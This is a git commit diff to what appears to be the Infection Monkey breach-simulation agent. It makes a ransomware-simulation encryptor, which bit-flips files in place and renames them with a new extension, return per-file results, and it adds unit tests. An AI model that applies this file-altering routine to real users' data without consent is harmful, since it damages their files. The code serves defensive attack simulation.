forked from p15670423/monkey
agent: Return results from RansomwareBitflipEncryptor.encrypt_files()
This commit is contained in:
parent
f1a365def2
commit
ae0dfec3cc
|
@ -1,5 +1,5 @@
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
from typing import List
|
from typing import List, Optional, Tuple
|
||||||
|
|
||||||
from infection_monkey.utils import bit_manipulators
|
from infection_monkey.utils import bit_manipulators
|
||||||
|
|
||||||
|
@ -13,10 +13,17 @@ class RansomwareBitflipEncryptor:
|
||||||
new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}")
|
new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}")
|
||||||
filepath.rename(new_filepath)
|
filepath.rename(new_filepath)
|
||||||
|
|
||||||
def encrypt_files(self, file_list: List[Path]):
|
def encrypt_files(self, file_list: List[Path]) -> List[Tuple[Path, Optional[Exception]]]:
|
||||||
|
results = []
|
||||||
for filepath in file_list:
|
for filepath in file_list:
|
||||||
self._encrypt_single_file_in_place(filepath)
|
try:
|
||||||
self._add_extension(filepath)
|
self._encrypt_single_file_in_place(filepath)
|
||||||
|
self._add_extension(filepath)
|
||||||
|
results.append((filepath, None))
|
||||||
|
except Exception as ex:
|
||||||
|
results.append((filepath, ex))
|
||||||
|
|
||||||
|
return results
|
||||||
|
|
||||||
def _encrypt_single_file_in_place(self, filepath: Path):
|
def _encrypt_single_file_in_place(self, filepath: Path):
|
||||||
with open(filepath, "rb+") as f:
|
with open(filepath, "rb+") as f:
|
||||||
|
|
|
@ -18,13 +18,42 @@ def with_extension(filename):
|
||||||
|
|
||||||
|
|
||||||
def test_listed_files_encrypted(ransomware_target):
|
def test_listed_files_encrypted(ransomware_target):
|
||||||
file_list = [ransomware_target / ALL_ZEROS_PDF, ransomware_target / TEST_KEYBOARD_TXT]
|
orig_all_zeros = ransomware_target / ALL_ZEROS_PDF
|
||||||
|
orig_test_keyboard = ransomware_target / TEST_KEYBOARD_TXT
|
||||||
|
file_list = [orig_all_zeros, orig_test_keyboard]
|
||||||
|
|
||||||
assert hash_file(file_list[0]) == ALL_ZEROS_PDF_CLEARTEXT_SHA256
|
assert hash_file(file_list[0]) == ALL_ZEROS_PDF_CLEARTEXT_SHA256
|
||||||
assert hash_file(file_list[1]) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256
|
assert hash_file(file_list[1]) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256
|
||||||
|
|
||||||
encryptor = RansomwareBitflipEncryptor(".new")
|
encryptor = RansomwareBitflipEncryptor(EXTENSION)
|
||||||
encryptor.encrypt_files(file_list)
|
encryptor.encrypt_files(file_list)
|
||||||
|
|
||||||
assert hash_file(with_extension(file_list[0])) == ALL_ZEROS_PDF_ENCRYPTED_SHA256
|
assert hash_file(with_extension(orig_all_zeros)) == ALL_ZEROS_PDF_ENCRYPTED_SHA256
|
||||||
assert hash_file(with_extension(file_list[1])) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256
|
assert hash_file(with_extension(orig_test_keyboard)) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256
|
||||||
|
|
||||||
|
|
||||||
|
def test_encrypted_files_in_results(ransomware_target):
|
||||||
|
orig_all_zeros = ransomware_target / ALL_ZEROS_PDF
|
||||||
|
orig_test_keyboard = ransomware_target / TEST_KEYBOARD_TXT
|
||||||
|
file_list = [orig_all_zeros, orig_test_keyboard]
|
||||||
|
|
||||||
|
encryptor = RansomwareBitflipEncryptor(EXTENSION)
|
||||||
|
results = encryptor.encrypt_files(file_list)
|
||||||
|
|
||||||
|
assert len(results) == 2
|
||||||
|
assert (orig_all_zeros, None) in results
|
||||||
|
assert (orig_test_keyboard, None) in results
|
||||||
|
|
||||||
|
|
||||||
|
def test_file_not_found(ransomware_target):
|
||||||
|
all_zeros = ransomware_target / ALL_ZEROS_PDF
|
||||||
|
file_list = [all_zeros]
|
||||||
|
|
||||||
|
all_zeros.unlink()
|
||||||
|
|
||||||
|
encryptor = RansomwareBitflipEncryptor(EXTENSION)
|
||||||
|
|
||||||
|
results = encryptor.encrypt_files(file_list)
|
||||||
|
|
||||||
|
assert len(results) == 1
|
||||||
|
assert "No such file or directory" in str(results[0][1])
|
||||||
|
|
Loading…
Reference in New Issue